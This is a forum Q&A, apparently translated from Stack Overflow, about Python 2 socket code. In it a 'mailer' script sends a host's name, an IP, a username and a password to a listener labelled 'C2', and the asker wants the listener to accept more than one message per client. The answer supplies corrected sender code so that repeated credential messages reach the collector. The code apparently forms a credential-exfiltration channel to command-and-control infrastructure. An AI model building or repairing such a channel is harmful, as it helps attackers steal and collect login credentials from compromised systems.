【问题标题】:Python receiver won't accept more than 1 message per clientPython 接收器不会接受每个客户端超过 1 条消息
【发布时间】:2017-08-07 17:22:26
【问题描述】:

我写这篇文章的目的是将一台服务器上收集的数据发送到外部服务器。问题似乎出在 c2.py 上,因为 mailer.py 发送数据没有问题,但 c2.py 只会输出从唯一 IP 发送给它的 1 条消息。

mailer.py(将数据发送到另一台服务器上的 c2.py)

C2 = "C2 SERVER"
C2PORT = 8989

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10) 

def send(ip, usr, pw):
    try:
        try:
            s.connect((C2, C2PORT))
            s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
            print "sent"
        except socket.error, ex:
            print ex
    except KeyboardInterrupt:
        s.close()
        sys.close()

c2.py(位于另一台服务器上的监听器)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)

def nodeRecv():
    while 1:
        try:
            conn, addr = s.accept()
            conn.settimeout(10)
            print conn.recv(65000)
            conn.close()
            print "1"
        except socket.error, ex:
            conn.close()
            print ex

if __name__ == "__main__":
    print "Connected to localhost:8989"
    print "Listening for nodes..."
    nodeRecv()

【问题讨论】:

标签: python-2.7 sockets


【解决方案1】:

您无法重新打开同一个套接字,并且您的服务器在收到所有数据后正在关闭连接 (conn.close()),您会收到错误消息。将s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 移动到函数中并打开一个新套接字:

import socket
from time import sleep

C2 = 'localhost'
C2PORT = 8989


def send(ip, usr, pw):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.connect((C2, C2PORT))
        s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
        print "sent"
        sleep(5)

    except KeyboardInterrupt:
        return False

    finally:
        s.close()


for i in ['z', 'x', 'y']:
    send(i, i, i)

更多信息请阅读Question

【讨论】:

    猜你喜欢
    • 2010-12-03
    • 2022-12-03
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-02-13
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多